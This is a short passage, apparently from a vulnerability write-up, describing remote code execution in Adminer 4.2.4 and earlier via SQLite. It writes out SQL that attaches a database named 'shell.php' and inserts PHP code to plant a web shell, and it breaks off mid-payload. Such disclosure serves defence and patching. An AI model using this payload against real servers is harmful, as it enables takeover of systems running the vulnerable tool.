Adminer - SQLite RCE Regex Filter Bypass

Adminer is a PHP database management tool. It has support for running queries on SQLite databases. In versions 4.2.4 and before it was possible to get RCE using the SQLite functionality by creating a database file with the .php extension and inserting PHP code like this: ATTACH DATABASE 'shell.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn ( dataz) VALUES ( '<?php…